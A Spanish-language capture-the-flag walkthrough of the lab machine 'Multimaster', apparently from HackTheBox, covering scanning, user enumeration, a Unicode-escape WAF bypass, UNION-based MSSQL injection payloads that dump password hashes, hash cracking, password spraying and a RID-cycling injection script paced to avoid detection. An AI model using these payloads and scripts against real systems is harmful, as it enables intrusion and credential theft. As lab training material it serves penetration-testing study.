Multimaster

Multimaster es una mรกquina Windows de una dificultad increรญble que presenta una aplicaciรณn web que es vulnerable a la inyecciรณn SQL. Esta vulnerabilidad se aprovecha para obtener un punto de apoyo en el servidor.

El examen del sistema de archivos revela que estรก instalada una versiรณn vulnerable de VS Code y se encuentran procesos de VS Code ejecutรกndose en el servidor.Al explotar la funciรณn de depuraciรณn, se puede obtener un shell como el usuario cyork. Se encuentra una contraseรฑa en una DLL, que debido a la reutilizaciรณn de contraseรฑas, da como resultado un shell como sbauer.

Se descubre que este usuario tiene permisos GenericWrite sobre el usuario jorden. Abusar de este privilegio nos permite obtener acceso al servidor como este usuario. jorden es miembro del grupo Operadores de servidor, cuyos privilegios explotamos para obtener un shell de SISTEMA.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que estรกn expuestos en la mรกquina Multimaster. Este resultado lo almacenaremos en un archivo llamado allPorts.

โฏ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.179 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 14:03 CET
Nmap scan report for 10.10.10.179
Host is up (0.057s latency).
Not shown: 65488 closed tcp ports (reset), 19 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49671/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49678/tcp open  unknown
49688/tcp open  unknown
49694/tcp open  unknown
49703/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 18.84 seconds

A travรฉs de la herramienta de extractPorts, la utilizaremos para extraer los puertos del archivo que nos generรณ el primer escaneo a travรฉs de Nmap. Esta herramienta nos copiarรก en la clipboard los puertos encontrados.

โฏ extractPorts allPorts

[*] Extracting information...

	[*] IP Address: 10.10.10.179
	[*] Open ports: 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49678,49688,49694,49703

[*] Ports copied to clipboard

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a travรฉs del resultado obtenido de que la mรกquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.

โฏ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49678,49688,49694,49703 10.10.10.179 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 13:55 CET
Nmap scan report for multimaster.megacorp.local (10.10.10.179)
Host is up (0.074s latency).

PORT      STATE  SERVICE       VERSION
53/tcp    open   domain        Simple DNS Plus
80/tcp    open   http          Microsoft IIS httpd 10.0
|_http-title: MegaCorp
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open   kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-13 13:05:07Z)
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open   ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp   open   microsoft-ds  Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
464/tcp   open   kpasswd5?
593/tcp   open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open   tcpwrapped
1433/tcp  open   ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-13T12:58:07
|_Not valid after:  2055-01-13T12:58:07
| ms-sql-info: 
|   10.10.10.179:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.10.10.179:1433: 
|     Target_Name: MEGACORP
|     NetBIOS_Domain_Name: MEGACORP
|     NetBIOS_Computer_Name: MULTIMASTER
|     DNS_Domain_Name: MEGACORP.LOCAL
|     DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
|     DNS_Tree_Name: MEGACORP.LOCAL
|_    Product_Version: 10.0.14393
|_ssl-date: 2025-01-13T13:06:15+00:00; +9m40s from scanner time.
3268/tcp  open   ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp  open   tcpwrapped
3389/tcp  open   ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: MEGACORP
|   NetBIOS_Domain_Name: MEGACORP
|   NetBIOS_Computer_Name: MULTIMASTER
|   DNS_Domain_Name: MEGACORP.LOCAL
|   DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
|   DNS_Tree_Name: MEGACORP.LOCAL
|   Product_Version: 10.0.14393
|_  System_Time: 2025-01-13T13:06:05+00:00
|_ssl-date: 2025-01-13T13:06:15+00:00; +9m40s from scanner time.
| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
| Not valid before: 2025-01-12T12:57:31
|_Not valid after:  2025-07-14T12:57:31
5985/tcp  open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open   mc-nmf        .NET Message Framing
47001/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open   msrpc         Microsoft Windows RPC
49665/tcp open   msrpc         Microsoft Windows RPC
49666/tcp open   msrpc         Microsoft Windows RPC
49667/tcp closed unknown
49671/tcp open   msrpc         Microsoft Windows RPC
49674/tcp open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open   msrpc         Microsoft Windows RPC
49678/tcp open   msrpc         Microsoft Windows RPC
49688/tcp open   msrpc         Microsoft Windows RPC
49694/tcp open   msrpc         Microsoft Windows RPC
49703/tcp open   msrpc         Microsoft Windows RPC
Device type: general purpose
Running: Microsoft Windows 2016
OS CPE: cpe:/o:microsoft:windows_server_2016
OS details: Microsoft Windows Server 2016
Network Distance: 2 hops
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: MULTIMASTER
|   NetBIOS computer name: MULTIMASTER\x00
|   Domain name: MEGACORP.LOCAL
|   Forest name: MEGACORP.LOCAL
|   FQDN: MULTIMASTER.MEGACORP.LOCAL
|_  System time: 2025-01-13T05:06:05-08:00
| smb2-time: 
|   date: 2025-01-13T13:06:08
|_  start_date: 2025-01-13T12:57:40
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 1h18m14s, deviation: 3h01m25s, median: 9m39s

TRACEROUTE (using port 49667/tcp)
HOP RTT       ADDRESS
1   105.20 ms 10.10.16.1
2   31.87 ms  multimaster.megacorp.local (10.10.10.179)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.40 seconds

Procederemos a transformar el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

โฏ xsltproc targetedXML > index.html

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Accederemos a http://localhost y verificaremos el resultado en un formato mรกs cรณmodo para su anรกlisis.

A travรฉs de la herramienta de netexec y ldapsearch procederemos a enumerar el equipo para localizar mรกs informaciรณn. Entre la informaciรณn obtenida, verificamos el hostname, versiรณn del SO y el nombre del dominio.

โฏ nxc smb 10.10.10.179
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)

โฏ ldapsearch -x -H ldap://10.10.10.179 -s base | grep defaultNamingContext
defaultNamingContext: DC=MEGACORP,DC=LOCAL

Procederemos a aรฑadir en nuestro archivo /etc/hosts las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la direcciรณn IP del equipo.

โฏ cat /etc/hosts | grep multimaster
10.10.10.179 multimaster.megacorp.local megacorp.local

Web Enumeration

Procederemos a realizar una enumeraciรณn sobre el sitio web que hemos encontrado expuesto en el puerto 80. La pรกgina principal al principal dispone de varias secciones que deberemos explorar para verificar

Una de las primeras acciones a realizar, serรก verificar las tecnologรญas y frameworks que utiliza la aplicaciรณn web, esto lo podremos realizar a travรฉs del Add-on de Wappalyzer. Entre la informaciรณn recopilada, podemos verificar que hay un Windows Server como sistema operativo que levanta la aplicaciรณn web, utiliza un IIS (Internet Information Services).

Toda esta informaciรณn hay que contrastarla con otras herramientas para verificar que la informaciรณn sea vรกlida.

Otra de las herramientas para verificar las tecnologรญas que utiliza una aplicaciรณn web es la herramienta de whatweb.

โฏ whatweb http://10.10.10.179
http://10.10.10.179 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.179], Microsoft-IIS[10.0], Script, Title[MegaCorp], X-Powered-By[ASP.NET], X-UA-Compatible[IE=edge]

Revisaremos la pรกgina que hemos encontrado http://10.10.10.179/#/login y en este caso al intentar iniciar sesiรณn con credenciales por defecto nos indica que el Login se encuentra en mantenimiento en estos momentos y no se puede utilizar. Intentamos realizar la tรญpica inyecciรณn SQL para verificar si es vulnerable el panel de Login, pero tambiรฉn recibimos el mismo mensaje de error.

Procederemos a revisar la pรกgina web de http://10.10.10.179/#/gallery y verificamos que al parecer no hay al parecer ningรบn tipo de informaciรณn, podrรญamos tambiรฉn intentar descargarnos las imรกgenes de esta galerรญa en busca de informaciรณn sensible en los metadatos, pero despuรฉs de revisarlos tampoco van por aquรญ los tiros...

Al revisar el sitio web de http://10.10.10.179/#/app revisamos que al parecer tiene un buscador el cual a medida del input que le introduzcas, el resultado que te muestra son correos electrรณnicos que posiblemente quedรกndonos con el nombre del usuario, sean usuarios vรกlidos del dominio.

Enviaremos la solicitud al BurpSuite para analizar como funciona la solicitud que se realiza y la respuesta que se recibe. Verificamos que la respuesta que nos muestra se encuentra en formato JSON.

Por lo tanto, tenemos una vรญa potencial para enumerar usuarios que parecen formar parte del dominio.

Enumerating users with Python script

Con la ayuda de ChatGPT hemos creado el siguiente script en Python que realizarรก solicitudes con un payload de la (A-Z) en busca de enumerar correos electrรณnicos que nos muestre la pรกgina web en la respuesta.

userenum.py
import requests
import json

# URL del endpoint
url = "http://10.10.10.179/api/getColleagues"

# Cabeceras de la solicitud
headers = {
    "Content-Type": "application/json;charset=utf-8",
    "Origin": "http://10.10.10.179",
    "Referer": "http://10.10.10.179/",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
}

# Generar letras de la A a la Z
letters = [chr(i) for i in range(ord('A'), ord('Z') + 1)]

# Lista para almacenar correos electrรณnicos รบnicos
emails = set()

print("Iniciando enumeraciรณn de usuarios...")

for letter in letters:
    # Cuerpo de la solicitud con la letra actual
    data = {"name": letter}

    try:
        # Enviar la solicitud POST
        response = requests.post(url, headers=headers, json=data)

        # Verificar si la respuesta es vรกlida
        if response.status_code == 200:
            # Parsear la respuesta JSON
            users = response.json()
            
            # Extraer correos electrรณnicos
            for user in users:
                email = user.get("email")
                if email:
                    emails.add(email)  # Aรฑadir el correo a la lista
        else:
            print(f"Error en la solicitud con letra {letter}: {response.status_code}")
    except Exception as e:
        print(f"Error al procesar la letra {letter}: {e}")

# Mostrar los correos electrรณnicos extraรญdos
print("\nCorreos electrรณnicos encontrados:")
for email in sorted(emails):
    print(email)

Le daremos permisos de ejecuciรณn al script creado y procederemos a ejecutarlo, verificamos que ha logrado encontrar los siguientes correos electrรณnicos en la pรกgina web. Estos correos electrรณnicos deberemos de guardarlo en un archivo por ejemplousers.txt.

โฏ chmod +x userenum.py

โฏ python3 userenum.py
Iniciando enumeraciรณn de usuarios...

Correos electrรณnicos encontrados:
aldom@megacorp.htb
alyx@megacorp.htb
ckane@megacorp.htb
cyork@megacorp.htb
egre55@megacorp.htb
ilee@megacorp.htb
james@megacorp.htb
jorden@megacorp.htb
kpage@megacorp.htb
minato@megacorp.htb
nbourne@megacorp.htb
okent@megacorp.htb
rmartin@megacorp.htb
sbauer@megacorp.htb
shayna@megacorp.htb
zac@magacorp.htb
zpowers@megacorp.htb

Procederemos a trabajar con el archivo users.txt para solamente quedarnos con la parte del nombre de usuario que es lo que realmente nos interesa.

โฏ cat users.txt | awk '{print $1}' FS='@' | sponge users.txt

โฏ cat users.txt
aldom
alyx
ckane
cyork
egre55
ilee
james
jorden
kpage
minato
nbourne
okent
rmartin
sbauer
shayna
zac
zpowers

Dado que el DC dispone del puerto 88 (Kerberos) expuesto, podemos validar a travรฉs de la herramienta de kerbrute el listado de usuarios que disponemos actualmente para verificar cuรกles de ellos son vรกlidos a nivel de dominio.

En el resultado obtenido, verificamos que de los 17 usuarios que disponรญamos solamente 14 usuarios son vรกlidos a nivel de usuarios del dominio.

โฏ kerbrute userenum --dc 10.10.10.179 -d megacorp.local users.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 01/13/25 - Ronnie Flathers @ropnop

2025/01/13 14:14:57 >  Using KDC(s):
2025/01/13 14:14:57 >  	10.10.10.179:88

2025/01/13 14:14:57 >  [+] VALID USERNAME:	cyork@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	ckane@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	aldom@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	kpage@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	alyx@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	james@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	jorden@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	nbourne@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	ilee@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	okent@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	zac@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	rmartin@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	sbauer@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	zpowers@megacorp.local
2025/01/13 14:14:57 >  Done! Tested 17 usernames (14 valid) in 0.212 seconds

SQL Injection

En la solicitud enviada en el BurpSuite, probamos de aรฑadirle una ' a la query para verificar si es vulnerable a SQL Injection. Verificamos que en la respuesta por parte del servidor recibimos un mensaje de 403 - Forbidden: Access is denied.

Lo que podemos pensar es que detrรกs del servidor web se encuentra un WAF (Web Application Firewall) que posiblemente nos bloquee estos intentos de inyecciรณn SQL.

Bypassing WAFs with JSON Unicode Escape Sequences

Realizando una investigaciรณn por Internet, nos encontramos con el siguiente blog que nos explica como intentar realizar un Bypass a las SQLI sobre los resultados JSON a travรฉs de realizar un encode de la inyecciรณn en formato Unicode Escape.

En este caso, utilizaremos Cyberchef de manera local para lograr mayor privacidad y no utilizar la versiรณn web. Estableceremos que utilice el Escape Unicode Characters y le asignarรฉ que realice el encode sobre '. Verificamos que el resultado obtenido del encode es --> \u0027.

Al enviar la solicitud con la ' encodeada, verificamos que no nos muestra un mensaje de Access Denied, en este caso simplemente desaparece el resultado de la respuesta por parte del servidor, lo cual podrรญamos llegar a intentar realizar la explotaciรณn del SQLI a travรฉs de encodear las inyecciones SQL en formato Escape Unicode Characters.

El primer paso a realizar en una inyeccciรณn SQLI es determinar el nรบmero total de columnas que dispone la BBDD para posteriormente inyectar correctamente nuestros payloads.

Deberemos a partir de ahora, encodear toda nuestra inyecciรณn SQL en el formato anteriormente indicado para lograr realizar el Bypass del supuesto WAF que nos bloqueaba las inyecciones.

En este caso al intentar probar nuestra inyecciรณn para determinar si la BBDD dispone de 4 columnas, verificamos que el resultado que nos muestra es null, lo cual podemos verificar que el nรบmero de columnas no es correcto.

1' UNION ALL SELECT 1,2,3,4;-- -

En intentar realizar la siguiente inyecciรณn SQL, verificamos que la BBDD dispone de 5 columnas en total y en la respuesta por parte del servidor nos muestra los nรบmeros del 2 al 5, por lo tanto, podrรญamos llegar a inyectar nuestros payloads de SQLI en cualquiera de los campos mencionados.

1' UNION ALL SELECT 1,2,3,4,5;-- -

Una de las primeras inyecciones a realizar, serรก lograr a determinar la versiรณn exacta de la BBDD y el nombre de la base de datos que se estรก utilizando actualmente.

Por el resultado obtenido, verificamos que nos enfrentamos ante un Microsoft SQL Server (MSSQL) 2017 y la base de datos que estรก actualmente en uso se llamada Hub_DB.

1' UNION ALL SELECT 1,@@version,db_name(),4,5;-- -

A travรฉs de la siguiente inyecciรณn SQL, verificaremos el nombre de las bases de datos existentes en el servidor SQL. Verificamos que de las 5 BBDDs que hemos encontrado las cuatro primeras se tratan de BBDDs que vienen por defecto en MSSQL, en cambio, la BBDD nombrada Hub_DB no es una base de datos comรบn, deberรญamos investigar sobre esta misma.

1' UNION ALL SELECT 1,name,3,4,5 FROM master..sysdatabases;-- -

Revisaremos los nombres de las tablas de la base de datos Hub_DB, en este caso verificamos que nos muestra dos tablas. De las dos tablas mencionadas, la que nos llama mรกs la atenciรณn es la mencionada Logins.

1' UNION ALL SELECT 1,name,3,4,5 FROM Hub_DB..sysobjects WHERE xtype ='U';-- -

Procederemos a investigar mรกs sobre tabla Logins y verificaremos el nombre de las columnas que dispone esta table. En el resultado obtenido nos llama la atenciรณn las columnas existentes, parecen almacenar usuarios y contraseรฑas.

1' UNION ALL SELECT 1,name,3,4,5 FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Logins');-- -

Al revisar las columnas username y password, verificamos que en la respuesta recibida por parte del servidor nos muestran usuarios y lo que parece ser contraseรฑas hasheadas que posteriormente podrรญamos intentar crackear.

1' UNION ALL SELECT 1,username,password,4,5 FROM Logins;-- -

Almacenaremos todo el resultado JSON obtenido para guardarlo en un archivo TXT. Trabajaremos con el archivo TXT para quedarnos con los nombres de usuarios y contraseรฑas y almacenarlos en dos archivos correspondientes.

โฏ catnp resultBBDD.txt | jq | grep 'name' | awk '{print $NF}' | tr -d '",' > usersBBDD.txt

โฏ catnp resultBBDD.txt | jq | grep 'position' | awk '{print $NF}' | tr -d ' ",' > passwordsBBDD.txt

Al revisar los hashes obtenidos, pensamos en primera instancia dada a la longitud del hash, parecรญa un tipo de hash SHA-384. Cuando ejecutamos hashcat con -m 10800 para SHA-384 con rockyou.txt, no se llegรณ a crackear nada.

Hay otros dos formatos en la pรกgina de hashes de ejemplo de Hashcat: SHA3-384 (-m 17500) y Keccak-384 (-m 17900). Cuando ejecutamos este รบltimo, obtuvimos los siguientes resultados:

โฏ hashcat -a 0 -m 17900 passwordsBBDD.txt /usr/share/wordlists/rockyou.txt
...[snip]...
9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739:password1
68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813:finance1
fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa:banking1                                           
...[snip]...

Una vez obtenida esas 3 credenciales en texto plano, procederemos a realizar unPassword Spraying para validar si estas credenciales son vรกlidas para el listado de usuarios del dominio que disponemos. Verificamos que en este caso, no obtenemos ningunas credenciales vรกlidas.

โฏ nxc smb 10.10.10.179 -u users.txt -p passwords.txt --continue-on-success
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\aldom:password1 STATUS_LOGON_FAILURE 
...[snip]...
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\sbauer:banking1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\shayna:banking1 STATUS_LOGON_FAILURE 
...[snip]...

Active Directory Users enumeration of MSSQL Injection (mssqli-duet)

Buscando mรกs informaciรณn sobre maneras de explotar un MSSQL, nos encontramos con el siguiente blog que nos indica como podemos intentar explotar este servicio para enumerar usuarios del Active Directory (AD) a travรฉs de inyecciones SQL para enumerar usuarios a travรฉs del Relative ID (RID).

El primer paso a realizar para revisar si podemos explotar esta vulnerabilidad es buscar el nombre del domain (domain name). En el caso de que no conozcamos el nombre de dominio, a travรฉs de la siguiente inyecciรณn SQL podemos identificar el nombre del dominio. Tenemos que previamente haber determinado la cantidad de columnas, tipo de columnas y saber que es inyectable a SQLi.

Verificamos que al enviar la solicitud, nos proporciona que el domain name es MEGACORP.

1' UNION ALL SELECT 1,2,3,4,(select default_domain());-- -

El siguiente paso a realizar es averiguar el Security ID (SID) del dominio. Asรญ que una vez obtenido el nombre del dominio, el siguiente paso serรก inyectar la siguiente consulta utilizando una cuenta o un grupo integrado conocidos (en este ejemplo se utiliza la cuenta del usuario Administrator) para obtener el valir del SID.

En este caso el formato que nos devuelve en la respuesta, es el SID en formato hexadecimal que posteriormente podremos descodificar para obtener el valor en texto plano.

1' UNION ALL SELECT 1,2,3,4,(select sys.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator')));-- -

Hemos creado el siguiente script en Python que lo que realiza es convertir el SID que se encuentra en hexadecimal en el texto original.

Convert SID Hex to SID
import struct
import sys

def hex_to_sid(sid_hex):
    # Convertir el SID hexadecimal a bytes
    sid_bytes = bytes.fromhex(sid_hex.replace("0x", ""))
    
    # Extraer la versiรณn del SID
    version = sid_bytes[0]
    
    # Extraer el identificador de autoridad
    identifier_authority = int.from_bytes(sid_bytes[2:8], 'big')
    
    # Contar las subautoridades
    subauthority_count = sid_bytes[1]
    
    # Extraer las subautoridades
    subauthorities = struct.unpack('<' + 'I' * subauthority_count, sid_bytes[8:])
    
    # Construir el SID en formato legible
    sid = f'S-{version}-{identifier_authority}' + ''.join(f'-{sub}' for sub in subauthorities)
    return sid

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Uso: python3 convert.py <SID_HEX>")
        sys.exit(1)

    # Leer el argumento de la lรญnea de comandos
    sid_hex = sys.argv[1]
    
    # Convertir y mostrar el resultado
    try:
        sid = hex_to_sid(sid_hex)
        print(f"SID: {sid}")
    except Exception as e:
        print(f"Error: {e}")

Al ejecutar el script y pasarle el SID en formato hexadecimal, nos devolverรก el valor original del SID.

โฏ python3 convert.py 0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000
SID: S-1-5-21-3167813660-1240564177-918740779-500

Siguiendo el contenido del blog sobre la enumeraciรณn de usuarios a travรฉs de ataques de RID Cycling Attack a travรฉs de inyecciones en MSSQL, nos proporciona la siguiente herramienta para explotar y enumerar a los usuarios a travรฉs del RID.

Deberemos de almacenar en un archivo la solicitud POST que se envรญa desde BurpSuite que la necesitaremos para utilizar la herramienta.

โฏ cat request.txt; echo
POST /api/getColleagues HTTP/1.1
Host: 10.10.10.179
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;charset=utf-8
Content-Length: 12
Origin: http://10.10.10.179
Connection: keep-alive
Referer: http://10.10.10.179/
Sec-GPC: 1
Priority: u=0

{"name":"a"}

Procederemos a realizar la explotaciรณn con la herramienta de mssqli-duet.py, en ella deberemos de especificar el parรกmetro vulnerable, en nuestro caso name, estableceremos que la inyecciรณn sea a' la cual la codificaremos en unicode.

Utilizaremos el archivo request.txt que es el que contiene la solicitud POST que hemos guardado, especificaremos en este caso que haga el RID Cycling Attack del 1000 al 1200 y se realice las solicitudes cada 3 segundos para evitar ser detectados.

En el resultado obtenido verificamos que hemos logrado obtener a 4 usuarios mรกs que forman parte del dominio.

โฏ python3 /opt/mssqli-duet/python/mssqli-duet.py -p 'name' -i "a'" -e unicode -r request.txt -rid 1000-1200 -t 3
[+] Beginning enumeration - Start time:  Mon, 13 Jan 2025 16:40:22
[+] Collected request data:
Target URL = http://10.10.10.179/api/getColleagues
Method = POST
Content-Type = application/json;charset=utf-8
Cookies =  None
Request data = {"name":"a"}


[+] Determining the number of columns in the table...
	[!] Number of columns is  5
[+] Determining column type...
	[-] Column type not null
	[!] Column type is 1
[+] Discovering domain name...
	[+] Domain = MEGACORP
[+] Discovering domain SID...
S-1-5-21-3167813660-1240564177-918740779-

[+] Enumerating Active Directory via SIDs...
[+] Determining users...

MEGACORP\\DnsAdmins
MEGACORP\\DnsUpdateProxy
MEGACORP\\svc-nas
MEGACORP\\tushikitatomo
MEGACORP\\andrew
MEGACORP\\lana

[+] Determining network hosts...
MEGACORP\\MULTIMASTER$

[+] Determining groups...
MEGACORP\\Privileged IT Accounts


[!] Finished!

Mon, 13 Jan 2025 16:51:44

RID Enumeration on MSSQL Injection with Python script

Tambiรฉn hemos creado el siguiente script en Python que cumple el mismo funcionamiento.

RID Enum MSSQL
import json
import requests
from time import sleep
# URL de destino al que se enviarรกn las peticiones.
url = 'http://10.10.10.179/api/getColleagues'

# Esta funciรณn se encarga de codificar el payload de la peticiรณn.
def encode_me(str):
    val = []
    # Iteramos sobre cada carรกcter en la cadena 'str'.
    for i in str:
        # Convertimos cada carรกcter a su equivalente en hexadecimal y lo agregamos con el prefijo "\\u00".
        val.append("\\u00"+hex(ord(i)).split("x")[1])
    
    # Unimos todos los valores generados en una cadena final.
    return ''.join([i for i in val])

# Iteramos sobre una serie de nรบmeros del 1000 al 1200.
for i in range(1000,1200):
    i = hex(i)[2:].upper()  # Convertimos el nรบmero a su representaciรณn hexadecimal y lo convertimos a mayรบsculas.
    if len(i) < 4:
        i = '0' + i  # Aseguramos que siempre tengamos cuatro caracteres en el nรบmero hexadecimal.

    # Reversamos los bytes del nรบmero hexadecimal.
    t = bytearray.fromhex(i)
    t.reverse()  # Invertimos los bytes.
    t = ''.join(format(x,'02x') for x in t).upper()+'0'*4  # Formateamos los bytes invertidos en mayรบsculas.

    # Construimos el SID a partir del nรบmero hexadecimal procesado.
    sid = '0x0105000000000005150000001c00d1bcd181f1492bdfc236{}'.format(t)

    # Creamos el payload que se enviarรก en la peticiรณn, buscando la funciรณn SUSER_SNAME.
    payload = "hello' UNION SELECT 1,SUSER_SNAME({}),3,4,5--".format(sid)  
    r = requests.post(url,data='{"name":"'+ encode_me(payload) + '"}',headers={'Content-Type': 'Application/json'})

    # Convertimos la respuesta a un objeto JSON para obtener el nombre del usuario.
    user = json.loads(r.text)[0]["name"]

    # Si se encontrรณ un usuario, lo imprimimos.
    if user:
        print(user)

    # Hacemos una pausa entre las peticiones para evitar ser detectado por sistemas de seguridad (WAF).
    sleep(3)

Al proceder a ejecutar el script creado, revisaremos que nos muestra nombres de usuarios y lo que parecen ser grupos de seguridad.

โฏ python3 ridenum_mssql.py
MEGACORP\MULTIMASTER$
MEGACORP\DnsAdmins
MEGACORP\DnsUpdateProxy
MEGACORP\svc-nas
MEGACORP\Privileged IT Accounts
MEGACORP\tushikikatomo
MEGACORP\andrew
MEGACORP\lana

Initial Access

Password Spraying

Guardaremos estos nuevos usuarios en el archivo que disponรญamos users.txt y procederemos a intentar validar nuevamente a travรฉs de Password Spraying. Verificamos que hemos logrado obtener credenciales vรกlidas para el usuario tushikikatomo@megacorp.local.

โฏ nxc smb 10.10.10.179 -u users.txt -p passwords.txt --continue-on-success
...[snip]...
SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\tushikikatomo:finance1 
...[snip]...

LDAP Enumeration (ldapdomaindump)

Al obtener credenciales vรกlidas de un usuario del dominio, procederemos a realizar un dump del LDAP para obtener mรกs informaciรณn relevante.

โฏ ldapdomaindump -u 'sequel.htb\tushikikatomo' -p 'finance1' 10.10.10.179 -o ldap
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

โฏ cd ldap

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Al revisar los archivos HTML generados por la herramienta de ldapdomaindump, verificamos todos los nombres de usuario del dominio existentes.

